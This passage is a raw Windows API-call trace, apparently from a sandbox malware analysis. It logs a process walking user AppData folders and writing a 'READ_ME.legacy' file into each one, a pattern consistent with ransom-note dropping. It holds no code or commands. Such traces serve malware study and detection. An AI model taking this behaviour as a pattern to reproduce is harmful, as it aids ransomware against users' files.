Size=0x40) returned 0x578338 [0135.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0135.916] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0135.916] GetLastError () returned 0x0 [0135.916] SetLastError (dwErrCode=0x0) [0135.916] GetLastError () returned 0x0 [0135.916] SetLastError (dwErrCode=0x0) [0135.916] GetLastError () returned 0x0 [0135.916] SetLastError (dwErrCode=0x0) [0135.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556c58 [0135.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4d8 [0135.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0135.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3458 [0135.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0135.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0135.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0135.916] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0135.916] GetLastError () returned 0x0 [0135.916] SetLastError (dwErrCode=0x0) [0135.916] GetLastError () returned 0x0 [0135.916] SetLastError (dwErrCode=0x0) [0135.916] GetLastError () returned 0x0 [0135.916] SetLastError (dwErrCode=0x0) [0135.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0135.916] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\user\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x73c [0136.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0136.013] WriteFile (in: hFile=0x73c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0136.014] CloseHandle (hObject=0x73c) returned 1 [0136.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0136.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0136.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3458 | out: hHeap=0x520000) returned 1 [0136.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0136.014] FindNextFileW (in: hFindFile=0x60bd98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6771884, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd6771884, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="User", cAlternateFileName="")) returned 0 [0136.014] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d4a8 [0136.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0136.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0136.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2d0 | out: hHeap=0x520000) returned 1 [0136.014] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd6aadc85, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60bf58 [0136.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0136.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0136.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0136.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0136.015] GetLastError () returned 0x12 [0136.015] SetLastError (dwErrCode=0x12) [0136.015] GetLastError () returned 0x12 [0136.015] SetLastError (dwErrCode=0x12) [0136.015] GetLastError () returned 0x12 [0136.015] SetLastError (dwErrCode=0x12) [0136.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0136.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0136.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0136.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5c8 [0136.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c218 [0136.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c218 | out: hHeap=0x520000) returned 1 [0136.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0136.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0136.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5c8 | out: hHeap=0x520000) returned 1 [0136.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0136.015] FindNextFileW (in: hFindFile=0x60bf58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd6aadc85, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0136.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0136.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0136.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0136.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0136.015] GetLastError () returned 0x12 [0136.016] SetLastError (dwErrCode=0x12) [0136.016] GetLastError () returned 0x12 [0136.016] SetLastError (dwErrCode=0x12) [0136.016] GetLastError () returned 0x12 [0136.016] SetLastError (dwErrCode=0x12) [0136.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0136.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d5b0 [0136.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0136.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d230 [0136.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60bdd8 [0136.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bdd8 | out: hHeap=0x520000) returned 1 [0136.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20348 [0136.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20348 | out: hHeap=0x520000) returned 1 [0136.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d230 | out: hHeap=0x520000) returned 1 [0136.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0136.016] FindNextFileW (in: hFindFile=0x60bf58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Firefox", cAlternateFileName="")) returned 1 [0136.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0136.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0136.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0136.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0136.016] GetLastError () returned 0x12 [0136.017] SetLastError (dwErrCode=0x12) [0136.017] GetLastError () returned 0x12 [0136.017] SetLastError (dwErrCode=0x12) [0136.017] GetLastError () returned 0x12 [0136.017] SetLastError (dwErrCode=0x12) [0136.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0136.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5c8 [0136.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0136.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3438 [0136.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0136.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0136.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0136.017] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0136.017] GetLastError () returned 0x12 [0136.017] SetLastError (dwErrCode=0x12) [0136.017] GetLastError () returned 0x12 [0136.017] SetLastError (dwErrCode=0x12) [0136.017] GetLastError () returned 0x12 [0136.017] SetLastError (dwErrCode=0x12) [0136.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0136.017] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x740 [0136.018] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0136.018] WriteFile (in: hFile=0x740, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0136.019] CloseHandle (hObject=0x740) returned 1 [0136.019] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0136.019] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0136.019] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3438 | out: hHeap=0x520000) returned 1 [0136.019] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0136.019] FindNextFileW (in: hFindFile=0x60bf58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6aadc85, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6aadc85, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6aadc85, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0136.019] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0136.019] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0136.020] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0136.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0136.020] GetLastError () returned 0x0 [0136.020] SetLastError (dwErrCode=0x0) [0136.020] GetLastError () returned 0x0 [0136.020] SetLastError (dwErrCode=0x0) [0136.020] GetLastError () returned 0x0 [0136.020] SetLastError (dwErrCode=0x0) [0136.020] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5f0 [0136.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5f0 | out: hHeap=0x520000) returned 1 [0136.020] FindNextFileW (in: hFindFile=0x60bf58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="updates", cAlternateFileName="")) returned 1 [0136.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0136.020] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0136.020] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0136.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0136.020] GetLastError () returned 0x0 [0136.020] SetLastError (dwErrCode=0x0) [0136.020] GetLastError () returned 0x0 [0136.020] SetLastError (dwErrCode=0x0) [0136.020] GetLastError () returned 0x0 [0136.020] SetLastError (dwErrCode=0x0) [0136.020] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0136.020] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0136.020] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5566a8 [0136.021] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0136.021] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0136.021] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0136.021] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0136.021] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0136.021] GetLastError () returned 0x0 [0136.021] SetLastError (dwErrCode=0x0) [0136.021] GetLastError () returned 0x0 [0136.021] SetLastError (dwErrCode=0x0) [0136.021] GetLastError () returned 0x0 [0136.021] SetLastError (dwErrCode=0x0) [0136.021] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0136.021] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\updates\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x740 [0136.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0136.022] WriteFile (in: hFile=0x740, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0136.023] CloseHandle (hObject=0x740) returned 1 [0136.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0136.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0136.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0136.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5566a8 | out: hHeap=0x520000) returned 1 [0136.024] FindNextFileW (in: hFindFile=0x60bf58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="updates", cAlternateFileName="")) returned 0 [0136.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d5b0 [0136.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0136.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0136.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0136.024] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd6aadc85, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c218 [0136.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0136.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0136.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0136.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0136.024] GetLastError () returned 0x12 [0136.025] SetLastError (dwErrCode=0x12) [0136.025] GetLastError () returned 0x12 [0136.025] SetLastError (dwErrCode=0x12) [0136.025] GetLastError () returned 0x12 [0136.025] SetLastError (dwErrCode=0x12) [0136.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0136.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d030 [0136.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d030 | out: hHeap=0x520000) returned 1 [0136.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0136.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c2d8 [0136.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c2d8 | out: hHeap=0x520000) returned 1 [0136.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20180 [0136.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20180 | out: hHeap=0x520000) returned 1 [0136.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0136.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0136.025] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd6aadc85, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0136.026] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0136.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0136.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0136.026] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0136.026] GetLastError () returned 0x12 [0136.026] SetLastError (dwErrCode=0x12) [0136.026] GetLastError () returned 0x12 [0136.026] SetLastError (dwErrCode=0x12) [0136.026] GetLastError () returned 0x12 [0136.026] SetLastError (dwErrCode=0x12) [0136.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0136.027] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0136.027] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0136.027] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0136.027] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c018 [0136.027] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c018 | out: hHeap=0x520000) returned 1 [0136.027] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201c8 [0136.027] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201c8 | out: hHeap=0x520000) returned 1 [0136.027] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0136.027] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0136.027] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a79bf59, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a79bf59, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy", cAlternateFileName="1527C7~1")) returned 1 [0136.027] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0136.027] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0136.027] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0136.027] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0136.027] GetLastError () returned 0x12 [0136.027] SetLastError (dwErrCode=0x12) [0136.027] GetLastError () returned 0x12 [0136.027] SetLastError (dwErrCode=0x12) [0136.027] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e96c8 [0136.027] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0136.027] GetLastError () returned 0x12 [0136.027] SetLastError (dwErrCode=0x12) [0136.027] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5673a0 [0136.027] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0136.028] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5673a0 | out: hHeap=0x520000) returned 1 [0136.028] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0136.028] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41230 [0136.028] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0136.028] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41e68 [0136.028] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0136.028] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0136.028] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0136.028] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0136.028] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0136.028] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9470 [0136.028] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0136.028] GetLastError () returned 0x12 [0136.028] SetLastError (dwErrCode=0x12) [0136.028] GetLastError () returned 0x12 [0136.028] SetLastError (dwErrCode=0x12) [0136.028] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0136.028] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9470 | out: hHeap=0x520000) returned 1 [0136.028] GetLastError () returned 0x12 [0136.028] SetLastError (dwErrCode=0x12) [0136.028] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b148 [0136.029] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0136.037] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b148 | out: hHeap=0x520000) returned 1 [0136.037] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, 